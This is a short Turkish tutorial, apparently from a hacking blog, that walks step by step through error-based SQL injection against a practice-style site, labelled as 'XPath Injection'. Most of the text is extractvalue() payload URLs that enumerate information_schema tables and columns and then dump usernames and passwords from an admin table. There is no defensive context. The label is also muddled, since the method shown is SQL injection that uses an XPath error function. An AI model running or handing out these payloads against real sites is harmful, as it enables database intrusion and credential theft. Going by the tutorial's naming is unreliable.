TR | XPath Injection
XPath, XML ile üzerinde çalışmak için geliştirilen bir derlemedir. XPath Injection ise XML elemanlarına yapılan saldırı türüdür. XPath Injection açığı SQL Error Based ile aynı mantıktadır fakat biraz farklıdır.
Konuya geçecek olursak;
Hedef sitemiz:
http//www.canyoupwn.me/pwnme.php?id=1
yaptık arkadaşlar aynı SQL hata arama yaptığımız gibi bize bir hata geldi.
Hata İsmi: XPATH Syntax Error
Version: 5.1.52-log
http//www.canyoupwn.me/pwnme.php?id=1 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,table_name) from information_schema.tables limit 0,1)))--
Bu komutda gördüğünüz gibi group_concat yerine extractvalue komutunu kullanıyoruz. Bu komut tabloları yansıtmaya yarıyor.
Burada tablo o limit üzerine tablo bulunamadığını söylüyor. Limitlerle biraz oynamamız gerek.
http//www.canyoupwn.me/pwnme.php?id=1 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,table_name) from information_schema.tables limit 123,1)))--
Limiti ben 123 yaptım bakalım tablo yansıtacak mı?
Gördüğünüz gibi tbladmin adında tablo yansıttı.Şimdi kolonları yansıtalım.
Bu komut ile kolonları yansıtacağız. Aynı error based sql
http://www.canyoupwn.me/pwnme.php?id=1 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,column_name) from information_schema.columns limit 0,1)))--
Gördüğünüz gibi bu sefer kolon bulamadı. Yine limit ayarları ile oynayacağız.
http://www.canyoupwn.me/pwnme.php?id=1 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,column_name) from information_schema.columns limit 2525,1)))--
İd kolonunu yansıttık.
Limit ayarlarını değiştirerek username ve passwordu da bulun.
Bu komut ile datayı yansıtacağım. mysql_auth_usr = database
Şunuda söyleyim 0x3a = : demektir.
http://www.canyoupwn.me/pwnme.php?id=1 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,idx,0x3a,username,0x3a,password) from mysql_auth_usr)))--
Gördüğünüz gibi id ve pass a ulaşmış olduk.